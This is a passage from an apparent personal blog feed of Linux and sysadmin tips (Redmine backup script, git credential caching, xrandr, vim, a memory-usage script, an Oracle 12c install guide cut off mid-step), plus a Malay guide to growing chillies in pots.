   <id>https://www.instagram.com/zeroquitgenes//2020/04/08/Removing-unread-and-not-starred-email-in-Gmail</id>
   <content type="html">&lt;p&gt;&lt;span style=&quot;font-family: roboto, arial, sans-serif;&quot;&gt;Search using the following :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;blockquote class=&quot;tr_bq&quot;&amp;gt;&lt;span style=&quot;font-family: roboto, arial, sans-serif;&quot;&gt;in:inbox AND is:unread AND -in:starred&lt;/span&gt;&amp;lt;/blockquote&amp;gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Automatically back up redmine installation</title>
   <link href="https://www.instagram.com/zeroquitgenes//2020/04/08/Automatically-back-up-redmine-installation/"/>
   <updated>2020-04-08T13:30:24+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2020/04/08/Automatically-back-up-redmine-installation</id>
   <content type="html">&lt;h1 id=&quot;required-settingsdb_usernamedb_passworddb_nameredmine_root--eg-homepeterrailsredminecommanigycombackup_root--eg-homepeterbackups-will-be-created-optional-settingsgs_rootgsredmine-backupgs_filenamebackup_date-ymdtargzecho-setting-up-directoriesmkdir-backup_rootredminedb--pmkdir-backup_rootredminefiles--pecho-backing-up-databaseusrbinmysqldump--u-db_username-passworddb_password-db_name--gzip--backup_rootredminedbdate-ymdgzecho-backing-up-attachmentsrsync--a-redmine_rootfiles-backup_rootredminefilesecho-packing-into-single-archivetar--czpf-gs_filename-backup_rootredmineecho-creating-bucket-on-google-storage-if-not-already-createdgsutil-mb-gs_rootecho-copying-backup-archive-to-google-storagegsutil-cp-gs_filename-gs_rootecho-cleanup-by-removing-archiverm-gs_filenameecho-backup-complete&quot;&gt;required settings&lt;br /&gt;DB_USERNAME=’‘&lt;br /&gt;DB_PASSWORD=’‘&lt;br /&gt;DB_NAME=’‘&lt;br /&gt;REDMINE_ROOT=’’ # e.g. /home/peter/rails/redmine.commanigy.com’&lt;br /&gt;BACKUP_ROOT=’’ # e.g. /home/peter/backups (will be created)&lt;br /&gt;&lt;br /&gt;# optional settings&lt;br /&gt;GS_ROOT=’gs://redmine-backup’&lt;br /&gt;GS_FILENAME=’backup_‘&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;date +%Y%m%d&lt;/code&gt;‘.tar.gz’&lt;br /&gt;&lt;br /&gt;echo ‘Setting up directories’&lt;br /&gt;mkdir $BACKUP_ROOT/redmine/db -p&lt;br /&gt;mkdir $BACKUP_ROOT/redmine/files -p&lt;br /&gt;&lt;br /&gt;echo ‘Backing up database’&lt;br /&gt;/usr/bin/mysqldump -u $DB_USERNAME –password=$DB_PASSWORD $DB_NAME | gzip &amp;gt; $BACKUP_ROOT/redmine/db/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;date +%Y%m%d&lt;/code&gt;.gz&lt;br /&gt;&lt;br /&gt;echo ‘Backing up attachments’&lt;br /&gt;rsync -a $REDMINE_ROOT/files/ $BACKUP_ROOT/redmine/files/&lt;br /&gt;&lt;br /&gt;echo ‘Packing into single archive’&lt;br /&gt;tar -czPf $GS_FILENAME $BACKUP_ROOT/redmine/&lt;br /&gt;&lt;br /&gt;echo ‘Creating bucket on Google Storage (if not already created)’&lt;br /&gt;gsutil mb $GS_ROOT&lt;br /&gt;&lt;br /&gt;echo ‘Copying backup archive to Google Storage’&lt;br /&gt;gsutil cp $GS_FILENAME $GS_ROOT&lt;br /&gt;&lt;br /&gt;echo ‘Cleanup by removing archive’&lt;br /&gt;rm $GS_FILENAME&lt;br /&gt;&lt;br /&gt;echo ‘Backup complete’&lt;/h1&gt;
</content>
 </entry>
 
 <entry>
   <title>Stop relogin everytime pushing to github repo</title>
   <link href="https://www.instagram.com/zeroquitgenes//2020/04/08/Stop-relogin-everytime-pushing-to-github-repo/"/>
   <updated>2020-04-08T13:29:35+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2020/04/08/Stop-relogin-everytime-pushing-to-github-repo</id>
   <content type="html">&lt;p&gt;Instead, lets permanently authenticating with Git repositories using username and password.&lt;br /&gt;Run following command to enable credential caching:&lt;br /&gt;&lt;br /&gt;&amp;lt;blockquote class=&quot;tr_bq&quot;&amp;gt;$ git config credential.helper store&amp;lt;/blockquote&amp;gt;&lt;br /&gt;Afterwards, make some changes, commit and try with git push.&lt;br /&gt;&lt;br /&gt;No more relogin.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>fedora / Linux - Add new monitor resolution</title>
   <link href="https://www.instagram.com/zeroquitgenes//2020/04/08/Fedora-Linux-Add-new-monitor-resolution/"/>
   <updated>2020-04-08T13:09:05+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2020/04/08/Fedora-Linux-Add-new-monitor-resolution</id>
   <content type="html">&lt;div class=&quot;tr_bq&quot;&gt;Sometimes when you plug in your new monitor, the best fit resolution for it doesn&apos;t come out as one of the option in the Display Setting.&lt;br /&gt;&lt;br /&gt;Use these commands to add new resolution to your monitor&lt;/div&gt;
&lt;blockquote&gt;gtf 1920 1024 60&lt;/blockquote&gt;
&lt;blockquote&gt;xrandr --newmode &quot;1920x1024_60.00&quot;&amp;nbsp; 163.83&amp;nbsp; 1920 2040 2248 2576&amp;nbsp; 1024 1025 1028 1060&amp;nbsp; -HSync +Vsync&lt;/blockquote&gt;
&lt;blockquote&gt;xrandr --addmode DP-1 &quot;1920x1024_60.00&quot;&lt;/blockquote&gt;
</content>
 </entry>
 
 <entry>
   <title>vim arrow keys adds characters in editor</title>
   <link href="https://www.instagram.com/zeroquitgenes//2020/04/08/Vim-arrow-keys-adds-weird-characters-in-editor/"/>
   <updated>2020-04-08T13:07:09+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2020/04/08/Vim-arrow-keys-adds-weird-characters-in-editor</id>
   <content type="html">&lt;p&gt;I had this problem sometimes on my application server, which can sometimes be old machines. When I tried to use arrow keys in insert mode in vim editor the following characters are being inserted in the editor:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;for ↓ I get B&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;for ↑ I get A&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;for ← I get D&amp;lt;/li&amp;gt;&amp;lt;li&amp;gt;for → I get C&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;div&amp;gt;…and it’s super annoying.&amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;div&amp;gt;From my reading, this is how Vi behaves.&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;However, VIM is the successor to Vi. By default, it set to be in Vi-compatible mode, which includes this behavior for the arrow keys.&lt;br /&gt;&lt;br /&gt;To remove the compatible mode, create a file named .vimrc in home directory add this line to the top of the file:&amp;lt;/div&amp;gt;&amp;lt;blockquote class=&quot;tr_bq&quot;&amp;gt;&lt;br /&gt;vim  ~/.vimrc&lt;br /&gt;set nocompatible&amp;lt;/blockquote&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;Save the file and this should fix the problem.&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Vim Arrow Keys Adds Different Characters In Editor</title>
   <link href="https://www.instagram.com/zeroquitgenes//2020/04/08/Vim-arrow-keys-adds-different-characters-in-editor/"/>
   <updated>2020-04-08T00:00:00+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2020/04/08/Vim-arrow-keys-adds-different-characters-in-editor</id>
   <content type="html">&lt;p&gt;I had this problem sometimes on my application server, which can sometimes be old machines. When I tried to use arrow keys in insert mode in vim editor the following characters are being inserted in the editor:&lt;/p&gt;

&lt;p&gt;for ↓ I get B
for ↑ I get A
for ← I get D
for → I get C&lt;/p&gt;

&lt;p&gt;…and it’s super annoying.&lt;/p&gt;

&lt;p&gt;From what I found out, this is how the original Vi behaves.&lt;/p&gt;

&lt;p&gt;However, VIM is the successor to Vi. By default, it set to be in Vi-compatible mode, which includes this behavior for the arrow keys.&lt;/p&gt;

&lt;p&gt;To remove the compatible mode, create a file named .vimrc in home directory add this line to the top of the file:&lt;/p&gt;
&lt;pre&gt;
vim  ~/.vimrc
set nocompatible
&lt;/pre&gt;

&lt;p&gt;Save the file and this should fix the problem.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Git How To Stop Relogin On Every Push</title>
   <link href="https://www.instagram.com/zeroquitgenes//2020/04/08/Git-How-to-stop-relogin-on-every-push/"/>
   <updated>2020-04-08T00:00:00+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2020/04/08/Git-How-to-stop-relogin-on-every-push</id>
   <content type="html">&lt;p&gt;Lets permanently authenticating with Git repositories using username and password.&lt;/p&gt;

&lt;p&gt;Run following command to enable credential caching:&lt;/p&gt;

&lt;pre&gt;
$ git config credential.helper store
&lt;/pre&gt;

&lt;p&gt;Afterwards, make some changes, commit and try with git push.&lt;/p&gt;

&lt;p&gt;No more relogin.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Fedora Add New Monitor Resolution</title>
   <link href="https://www.instagram.com/zeroquitgenes//2020/04/08/Fedora-Add-new-monitor-resolution/"/>
   <updated>2020-04-08T00:00:00+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2020/04/08/Fedora-Add-new-monitor-resolution</id>
   <content type="html">&lt;p&gt;Sometimes when you plug in your new monitor, the best fit resolution for it doesn’t come out as one of the option in the Display Setting.&lt;/p&gt;

&lt;p&gt;Use these commands to add new resolution to your monitor, modify the resolution to what you need :&lt;/p&gt;

&lt;pre&gt;
gtf 1920 1024 60

xrandr --newmode &quot;1920x1024_60.00&quot;  163.83  1920 2040 2248 2576  1024 1025 1028 1060  -HSync +Vsync

xrandr --addmode DP-1 &quot;1920x1024_60.00&quot;
&lt;/pre&gt;
</content>
 </entry>
 
 <entry>
   <title>Linux Memory Usage By Apps</title>
   <link href="https://www.instagram.com/zeroquitgenes//2019/04/17/Linux-memory-usage-by-apps/"/>
   <updated>2019-04-17T00:00:00+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2019/04/17/Linux-memory-usage-by-apps</id>
   <content type="html">&lt;p&gt;Memstat.sh is a shell script that calculates linux memory usage for each running application.&lt;/p&gt;

&lt;pre&gt;
#!/bin/bash 

#Source : http://www.linoxide.com/linux-shell-script/linux-memory-usage-program/
#Parent : http://www.linoxide.com/guide/scripts-pdf.html

# Make sure only root can run our script

if [ &quot;$(id -u)&quot; != &quot;0&quot; ]; then
   echo &quot;This script must be run as root&quot; 1&amp;gt;&amp;amp;2
   exit 1
fi

### Functions
#This function will count memory statistic for passed PID
get_process_mem ()
{
PID=$1
#we need to check if 2 files exist
if [ -f /proc/$PID/status ];
then
	if [ -f /proc/$PID/smaps ]; 
	then
		#here we count memory usage, Pss, Private and Shared = Pss-Private
		Pss=`cat /proc/$PID/smaps | grep -e &quot;^Pss:&quot; | awk &apos;{ sum+=$2} END {print sum}&apos; `
		Private=`cat /proc/$PID/smaps | grep -e &quot;^Private&quot; | awk &apos;{ sum+=$2} END {print sum}&apos;`
		#we need to be sure that we count Pss and Private memory, to avoid errors
		if [ x&quot;$Rss&quot; != &quot;x&quot; -o x&quot;$Private&quot; != &quot;x&quot; ]; 
		then

			let Shared=${Pss}-${Private}
			Name=`cat /proc/$PID/status | grep -e &quot;^Name:&quot; |cut -d&apos;:&apos; -f2`
			#we keep all results in bytes
			let Shared=${Shared}*1024
			let Private=${Private}*1024
			let Sum=${Shared}+${Private}

			echo -e &quot;$Private  + $Shared = $Sum \t $Name&quot;
		fi
	fi
fi
}

#this function make conversion from bytes to Kb or Mb or Gb
convert()
{
value=$1
power=0
#if value 0, we make it like 0.00
if [ &quot;$value&quot; = &quot;0&quot; ];
then
	value=&quot;0.00&quot;
fi

#We make conversion till value bigger than 1024, and if yes we divide by 1024
while [ $(echo &quot;${value}&quot; | awk &apos;{if($1 &amp;gt; 1024) {print 1} else {print 0}}&apos;) -eq 1 ]
do
	value=$(echo &quot;${value}&quot; | awk &apos;{printf &quot;%.2f&quot;, $1 / 1024}&apos;)
	let power=$power+1
done

#this part get b,kb,mb or gb according to number of divisions 
case $power in
	0) reg=b;;
	1) reg=kb;;
	2) reg=mb;;
	3) reg=gb;;
esac

echo -n &quot;${value} ${reg} &quot;
}

#to ensure that temp files not exist
[[ -f /tmp/res ]] &amp;amp;&amp;amp; rm -f /tmp/res
[[ -f /tmp/res2 ]] &amp;amp;&amp;amp; rm -f /tmp/res2
[[ -f /tmp/res3 ]] &amp;amp;&amp;amp; rm -f /tmp/res3


#if argument passed script will show statistic only for that pid, of not ï¿½ we list all processes in /proc/ #and get statistic for all of them, all result we store in file /tmp/res
if [ $# -eq 0 ]
then
	pids=`ls /proc | grep -e &quot;[0-9]&quot; | grep -v &quot;[A-Za-z]&quot; `
	for i in $pids
	do
	get_process_mem $i &amp;gt;&amp;gt; /tmp/res
	done
else
	get_process_mem $1&amp;gt;&amp;gt; /tmp/res
fi


#This will sort result by memory usage
cat /tmp/res | sort -gr -k 5 &amp;gt; /tmp/res2

#this part will get uniq names from process list, and we will add all lines with same process list 
#we will count nomber of processes with same name, so if more that 1 process where will be
# process(2) in output
for Name in `cat /tmp/res2 | awk &apos;{print $6}&apos; | sort  | uniq`
do
count=`cat /tmp/res2 | awk -v src=$Name &apos;{if ($6==src) {print $6}}&apos;|wc -l| awk &apos;{print $1}&apos;`
if [ $count = &quot;1&quot; ];
then
	count=&quot;&quot;
else 
	count=&quot;(${count})&quot;
fi

VmSizeKB=`cat /tmp/res2 | awk -v src=$Name &apos;{if ($6==src) { sum+=$1}} END {print sum}&apos;`
VmRssKB=`cat /tmp/res2 | awk -v src=$Name &apos;{if ($6==src) { sum+=$3}} END {print sum}&apos;`
total=`cat /tmp/res2 | awk &apos;{ sum+=$5} END {print sum}&apos;`
Sum=`echo &quot;${VmRssKB} ${VmSizeKB}&quot; | awk &apos;{print $1 + $2}&apos;`
#all result stored in /tmp/res3 file
echo -e &quot;$VmSizeKB  + $VmRssKB = $Sum \t ${Name}${count}&quot; &amp;gt;&amp;gt;/tmp/res3
done


#this make sort once more.
cat /tmp/res3 | sort -gr -k 5 | uniq &amp;gt; /tmp/res

#now we print result , first header
echo -e &quot;Private \t + \t Shared \t = \t RAM used \t Program&quot;
#after we read line by line of temp file
while read line 
do
	echo $line | while read  a b c d e f
	do
#we print all processes if Ram used if not 0
		if [ $e != &quot;0&quot; ]; then
#here we use function that make conversion 
		echo -en &quot;`convert $a`  \t $b \t `convert $c`  \t $d \t `convert $e`  \t $f&quot;
		echo &quot;&quot;
		fi
	done
done &amp;lt; /tmp/res

#this part print footer, with counted Ram usage
echo &quot;--------------------------------------------------------&quot;
echo -e &quot;\t\t\t\t\t\t `convert $total`&quot;
echo &quot;========================================================&quot;

# we clean temporary file
[[ -f /tmp/res ]] &amp;amp;&amp;amp; rm -f /tmp/res
[[ -f /tmp/res2 ]] &amp;amp;&amp;amp; rm -f /tmp/res2
[[ -f /tmp/res3 ]] &amp;amp;&amp;amp; rm -f /tmp/res3
&lt;/pre&gt;
</content>
 </entry>
 
 <entry>
   <title>Tanam Cili Dalam Pasu</title>
   <link href="https://www.instagram.com/zeroquitgenes//2018/03/19/Tanam-Cili-Dalam-Pasu/"/>
   <updated>2018-03-19T00:00:00+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2018/03/19/Tanam-Cili-Dalam-Pasu</id>
   <content type="html">&lt;h4 id=&quot;cara-tanama-cili-dalam-pasu&quot;&gt;Cara Tanama Cili Dalam Pasu&lt;/h4&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Sebaiknya jangan gunakan tanah di halaman rumah anda kerana kebiasaannya tanah tersebut tidak subur. Gunakan tanah campuran yang mengandungi dua bahagian tanah, satu bahagian kompos dan satu bahagian pasir. Isikan pasu dengan tanah campuran tersebut sehingga 5cm dari permukaan pasu.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Semai 3 atau 4 biji benih ke dalam pasu sedalam 2 hingga 5 cm.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Apabila anak pokok mulai tumbuh, siram pokok pada awal pagi dan lewat petang setiap hari kecuali pada hari hujan.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Taburkan sebanyak satu sudu teh atau 5 gram baja di sekeliling pokok pada setiap minggu.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Gunakan juga rumput-rumput kering untuk diletakkan di sekeliling pokok sebagai sungkup.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h4 id=&quot;ancaman-terhadap-pokok-cili&quot;&gt;Ancaman Terhadap Pokok Cili.&lt;/h4&gt;

&lt;h5 id=&quot;layu-bakteria&quot;&gt;Layu Bakteria&lt;/h5&gt;
&lt;p&gt;Penyakit Layu Bakteria disebabkan oleh Phytium spp atau Fusarium spp yang mengakibatkan pokok yang diserang akan layu dan boleh mati jika tidak dikawal dengan segera. Penyakit ini mudah menyerang tanaman cili terutama jika kawasan tersebut pernah ditanam dengan cili atau famili Solanaceae lain dan tanah yang agak lembab. Kawalan untuk penyakit ini adalah dengan kaedah amalan pertanian yang elok seperti mencabut pokok yang telah diserang dan membakarnya, semburan racun kulat, memilih anak benih rintang penyakit, kebersihan ladang dan jalankan giliran tanaman. Serangan boleh berlaku dari peringkat awal pertumbuhan sehingga pokok matang dan berbuah. Jika berlaku pada peringkat awal, penanaman perlu dijalankan sulaman anak benih. Jalankan pemantauan di kawasan tanaman cili dari jangkitan pokok yang telah diserang.&lt;/p&gt;

&lt;h6 id=&quot;kerinting-daun&quot;&gt;Kerinting Daun&lt;/h6&gt;
&lt;p&gt;Penyakit kerinting daun disebabkan oleh Virus Tristeza yang merupakan satu lagi masalah dalam penanaman cili  dan ia sentiasa menjadi ‘kegusaran’ kepada penanam cili. Pemerhatian petani mendapati bahawa apabila ia telah mula berlaku serangan kerinting daun pada satu dahan atau pokok ia akan cepat merebak kepada pokok lain jika tidak dikawal dengan segera. Tanda serangan dilihat apabila daun muda yang aktif mula kerinting atau berkerekot atau bergulung dan kadang-kadang kekuningan sedikit bermula pada satu dahan dan akan membiak ke kawasan lain. Akibatnya pokok tidak dapat menjalankan fotosintesis dengan cekap dan pengeluaran bunga akan terganggu atau tidak berbunga langsung.Lazimnya tunas-tunas baru tidak akan keluar dan jika ada buah pun saiznya adalah sangat kecil. Adalah disyorkan agar dahan pada pokok yang diserang dipotong dan dibakar atau jika serangan yang sangat teruk maka pokok tersebut dicabut dan dibakar. Kalau banyak pokok dalam kebun telah banyak diserang lebih baik musnahkan semua dan tanam baru.&lt;/p&gt;

&lt;h5 id=&quot;bintik-daun&quot;&gt;Bintik Daun&lt;/h5&gt;
&lt;p&gt;Penyakit Bintik Daun (Cercospora spp) pula akan mengakibatkan daun yang diserang berbintik dan mengurangkan aktiviti fotosintesis. Ia boleh dikawal dengan semburan racun Benomyl. Penyakit Antraknos buah cili yang disebabkan oleh kulat Collectotricum spp. akan merosakkan kualiti buah cili dan dikawal dengan semburan racun seperti Mancozeb. Perlu diingat setelah semburan racun dibuat jangan terus memetik buah cili, tunggu TDMH (Tempoh Dilarang Mengutip Hasil) seperti yang dituliskan pada label racun. Anda perlu mengasilkan cili yang berkualiti, bersih, berkhasiat dan yang penting tidak ada sisa baki racun di dalamnya.&lt;/p&gt;

&lt;h5 id=&quot;serangga-perosak&quot;&gt;Serangga Perosak&lt;/h5&gt;
&lt;p&gt;Antara perosak tanaman cili adalah Hamama Merah, Kutu Daun dan Aphids serta Koya. Serangga ini merupakan agen peyebaran pathogen pembawa penyakit sama ada kulat, bakteria atau virus.Koya hidup di bawah daun yang telah berkerekot akan menghasilkan cecair manisan (secretion) yang akan menyebabkan semut yang suka akan manisan menghisapnya, berlendir dan menyebabkan wujudnya kulat Jelaga Hitam. Koya juga mampu bergerak keseluruh pokok cili dan menyebabkan kadar serangan penyakit cepat merebak. Bagi mengawal masalah kutu daun anda boleh menggunakan semburan racun kimia seperti chlorpyrifos imidachlorpid mengikut arahan pada label. Serangan Hamana Merah pula boleh dikawal dengan semburan racun Malathion atau Dichlofo.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Installing Oracle 12c Revision 2 On Fedora 26</title>
   <link href="https://www.instagram.com/zeroquitgenes//2017/12/31/Installing-Oracle-12c-Revision-2-on-Fedora-26/"/>
   <updated>2017-12-31T00:00:00+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2017/12/31/Installing-Oracle-12c-Revision-2-on-Fedora-26</id>
   <content type="html">&lt;p&gt;This writing is based on this &lt;a href=&quot;https://oracle-base.com/articles/12c/oracle-db-12cr2-installation-on-fedora-26&quot;&gt;article&lt;/a&gt; which I followed. However, the steps mentioned were somewhat not in order and some issues tackled were not described properly (at least to me). Please also note that these steps are very specific to Fedora 26. I don’t guaranteed that it will work on other distro or other Fedora or Oracle version.&lt;/p&gt;

&lt;p&gt;1- First of all, download the installation files
&lt;a href=&quot;http://www.oracle.com/technetwork/database/enterprise-edition/downloads/index.html&quot;&gt;OTN: Oracle Database 12c Release 2 (12.2.0.1) Software (64-bit).&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;2- Create appropiate Linux groups and users. Set the password for Linux user oracle.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;groupadd -g 54321 oinstall
groupadd -g 54322 dba
groupadd -g 54323 oper
sudo useradd -u 54321 -g oinstall -G dba,oper oracle
passwd oracle
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;3- Create the appropiate directories for Oracle. Note that the installation can be anywhere, but for simplicity sake, lets just use Oracle typical directory structure.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mkdir -p /u01/app/oracle/product/12.2.0.1/db_1
mkdir -p /u01/software
sudo chown -R oracle:oinstall /u01
sudo chmod -R 775 /u01
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;4- Unzip the installation files from (1) to folder “/u01/software/database”. This will be our installer folder.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;unzip linuxx64_12201_database.zip database
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;5- Setup the host file. Edit the “/etc/hosts” file to add a fully qualified name to our machine. Note that keep everything in one line. For example, (a) below doesn’t work for me, but (b) does. Ensure the file is saved correctly by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hostname&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(a)
127.0.0.1       localhost localhost.localdomain localhost4 localhost4.localdomain4
192.168.56.141  fedora26.localdomain  fedora26

(b)
127.0.0.1   localhost 
127.0.0.1   localhost.localdomain 
127.0.0.1   fedora26.localdomain
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;6- Set the kernel parameters. Add the following lines to the “/etc/sysctl.conf” file.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;fs.file-max = 6815744
kernel.sem = 250 32000 100 128
kernel.shmmni = 4096
kernel.shmall = 1073741824
kernel.shmmax = 4398046511104
kernel.panic_on_oops = 1
net.core.rmem_default = 262144
net.core.rmem_max = 4194304
net.core.wmem_default = 262144
net.core.wmem_max = 1048576
net.ipv4.conf.all.rp_filter = 2
net.ipv4.conf.default.rp_filter = 2
fs.aio-max-nr = 1048576
net.ipv4.ip_local_port_range = 9000 65500 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Run this to apply the changes : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/sbin/sysctl -p&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Add the following lines to a file called “/etc/security/limits.d/oracle-database-server-12cR2-preinstall.conf” file.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;oracle   soft   nofile    1024
oracle   hard   nofile    65536
oracle   soft   nproc    16384
oracle   hard   nproc    16384
oracle   soft   stack    10240
oracle   hard   stack    32768
oracle   hard   memlock    134217728
oracle   soft   memlock    134217728 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;7- Stop and disable firewall&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;systemctl stop firewalld
systemctl disable firewalld 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;8- Set SELinux to permissive by editing the “/etc/selinux/config” file, making sure the SELINUX flag is set as follows :&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SELINUX=permissive
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;9- Now, reboot the machine to ensure all changes we made so far are applied.&lt;/p&gt;

&lt;p&gt;10- Login as the Linux user oracle that we created in (2) : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;su - oracle&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;11- Ensure all packages needed are installed. Just copy and paste these on terminal and install them.&lt;/p&gt;

&lt;p&gt;Package group&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo dnf groupinstall &quot;Development Tools&quot; -y
sudo dnf groupinstall &quot;Administration Tools&quot; -y
sudo dnf groupinstall &quot;System Tools&quot; -y 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The required packages, including the 32-bit version of some of the packages. Many of the packages should be installed already.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo dnf install binutils -y
sudo dnf install compat-libcap1 -y
sudo dnf install compat-libstdc++-33 -y
sudo dnf install compat-libstdc++-33.i686 -y
sudo dnf install glibc -y
sudo dnf install glibc.i686 -y
sudo dnf install glibc-devel -y
sudo dnf install glibc-devel.i686 -y
sudo dnf install ksh -y
sudo dnf install libaio -y
sudo dnf install libaio.i686 -y
sudo dnf install libaio-devel -y
sudo dnf install libaio-devel.i686 -y
sudo dnf install libX11 -y
sudo dnf install libX11.i686 -y
sudo dnf install libXau -y
sudo dnf install libXau.i686 -y
sudo dnf install libXi -y
sudo dnf install libXi.i686 -y
sudo dnf install libXtst -y
sudo dnf install libXtst.i686 -y
sudo dnf install libgcc -y
sudo dnf install libgcc.i686 -y
sudo dnf install libstdc++ -y
sudo dnf install libstdc++.i686 -y
sudo dnf install libstdc++-devel -y
sudo dnf install libstdc++-devel.i686 -y
sudo dnf install libxcb -y
sudo dnf install libxcb.i686 -y
sudo dnf install make -y
sudo dnf install nfs-utils -y
sudo dnf install net-tools -y
sudo dnf install smartmontools -y
sudo dnf install sysstat -y
sudo dnf install unixODBC -y
sudo dnf install unixODBC-devel -y 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;12- Edit the release file. Edit the “/etc/redhat-release” file replacing the current release information “Fedora release 26 (Twenty Six)” with the following.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;redhat release 7
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;13- Edit the bashrc file of the oracle user : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vim ~/.bashrc&lt;/code&gt;. Ensure the hostname is according to what you set in (5).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;export TMP=/tmp
export TMPDIR=$TMP
export ORACLE_HOSTNAME=fedora26.localdomain
export ORACLE_UNQNAME=cdb1
export ORACLE_BASE=/u01/app/oracle
export ORACLE_HOME=$ORACLE_BASE/product/12.2.0.1/db_1
export ORACLE_SID=cdb1
export PATH=/usr/sbin:$PATH
export PATH=$ORACLE_HOME/bin:$PATH
